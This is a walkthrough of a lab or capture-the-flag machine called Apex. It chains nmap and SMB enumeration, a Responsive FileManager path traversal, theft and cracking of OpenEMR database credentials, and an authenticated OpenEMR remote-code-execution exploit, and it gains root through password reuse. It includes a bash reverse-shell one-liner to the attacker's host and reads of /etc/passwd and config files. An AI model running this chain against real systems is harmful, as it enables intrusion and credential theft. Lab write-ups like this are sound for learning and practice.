

Apex walkthrough

Walkthrough

Attacker's Machine: 192.168.45.5

Victim's Machine: 192.168.204.145

export IP=192.168.204.145

```
nmap -Pn -p- -n --min-rate 1000 $IP --stats-every=5s
```

80/tcp open http

445/tcp open microsoft-ds

3306/tcp open mysql

```
nmap -Pn -n -sC -sV -p80,445,3306 $IP --open --stats-every=5s -oN results.txt
```

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

|_http-server-header: Apache/2.4.29 (Ubuntu)

|_http-title: APEX Hospital

445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)

3306/tcp open mysql MySQL 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1

Service Info: Host: APEX

```
nmap -sU -n -Pn $IP --top-ports=100 --stats-every=5s --min-rate 1000
```

<!-- nothing -->

Vulnerability Assessment

```
nmap -n $IP -p 80 -sV --script vuln --stats-every=5s
```

| http-enum:

| /filemanager/: Potentially interesting folder

|_ /source/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'

```
nikto --url $IP
```

Port 445

```
enum4linux -a $IP
```

docs Disk Documents

users: white

Download all files recursively. So far, nothing too interesting with these files, might have to come back to them later on.

```
smbget -R smb://$IP/docs
```

OpenEMR Success Stories.pdf

OpenEMR Features.pdf

Port 80 Enumeration

<http://192.168.204.145/openemr/interface/login/login.php?site=default> # Login page

<http://192.168.204.145/filemanager/> # Responsive filemanager

By clicking on the ? icon on top right, we can see that the version is RESPONSIVE filemanager v.9.13.4

searchsploit responsive filemanager

Exploit Title | Path Responsive FileManager 9.13.4 - 'path' Path Traversal | php/webapps/49359.py

```
python3 49359.py http://192.168.204.145:80 PHPSESSID=nl0084d033b2f6127sejh5kpc /etc/passwd
```

```
root:x:0:0:root:/root:/bin/bash
```

```
white:x:1000:1000::/home/white:/bin/sh
```

Great, it works, not that we have path traversal, let's try to access some configuration files.

Important thing. Notice that when you run the exploit, a copy of the file of `/etc/passwd` was placed inside the <http://192.168.204.145/source/>

directory. But since we cannot view the php configuration files directly, we need to find another way to receive the files. If you check the Documents folder, you will notice that its contents are the same as the ones from SMB, so we can deduce that if you manage to redirect your files to this folder, we will be able to download them afterwards using the smbclient.

Change the line 36 to redirect the file to be saved on the docs folder in SMB.

```
def paste_clipboard(url, session_cookie):
```

```
headers = {'Cookie': session_cookie, 'Content-Type': 'application/x-www-form-urlencoded'}
```

```
url_paste = "%s/filemanager/execute.php?action=paste_clipboard" % (url)
```

```
r = requests.post(
```

```
url_paste, data="path=/Documents/", headers=headers)
```

```
return r.status_code
```

Now we need to find common or default configuration files for Openemr and their specific path.

<https://github.com/openemr/openemr/tree/master/sites/default>

openemr/sites/default/

clickoptions.txt

config.php

docker-version

faxcover.txt

faxtitle.eps

referral_template.html

sqlconf.php

statement.inc.php

Try different paths such as /var/www/html or /var/www

python3 49359.py http://192.168.204.145:80 PHPSESSID=nl0084d033b2f6127sejh5kpc /var/www/openemr/sites/default/sqlconf.php

Switch back to smb and retrieve the sqlconf.php file

smbclient //\$IP/docs -N

dir

passwd N 1607 Mon Apr 10 16:42:33 2023

sqlconf.php N 639 Mon Apr 10 17:00:13 2023

OpenEMR Success Stories.pdf A 290738 Fri Apr 9 11:47:12 2021

OpenEMR Features.pdf A 490355 Fri Apr 9 11:47:12 2021

get sqlconf.php

cat sqlconf.php

<?php

// OpenEMR

// MySQL Config

\$host = 'localhost';

```
$port = '3306';  
$login = 'openemr';  
$pass = 'C78maEQUIEuQ';  
$dbase = 'openemr';
```

Let's connect to the DB

```
mysql -u openemr -p -h $IP
```

Enter password: C78maEQUIEuQ

```
show databases;  
use openemr;  
show tables;  
select * from users; # nothing usefull  
select * from users_secure;
```

admin | \$2a\$05\$bJclfCBjN5Fuh0K9qfoe0eRJqMdM49sWvuSGqv84VMMAkLgkK8XnC

```
nano hash.txt  
$2a$05$bJclfCBjN5Fuh0K9qfoe0eRJqMdM49sWvuSGqv84VMMAkLgkK8XnC
```

```
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt  
thedoctor
```

Click on the top tab called **About** and notice that we are dealing with Version Number: v5.0.1

Now that we have credentials, let's search for Openemr exploit. <https://www.exploit-db.com/exploits/45161>

OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated) | php/webapps/45161.py

```
nc -lvnp 4444
```

```
python2 45161.py -u admin -p thedoctor -c '/bin/bash -i >& /dev/tcp/192.168.45.5/4444 0>&1' http://192.168.204.145/openemr/  
Got shell!
```

```
cat /home/white/local.txt # Flag: 8e197f2b2b86659a686bc3ba76b6c70e
```

Privilege escalation

```
# Password reuse for the win
```

```
su root
```

```
password: C78maEQUIEuQ
```

```
id
```

```
uid=0(root) gid=0(root) groups=0(root)
```

```
cat /root/proof.txt # Flag: a011ab7ca995712c55512bfa620a4d1d
```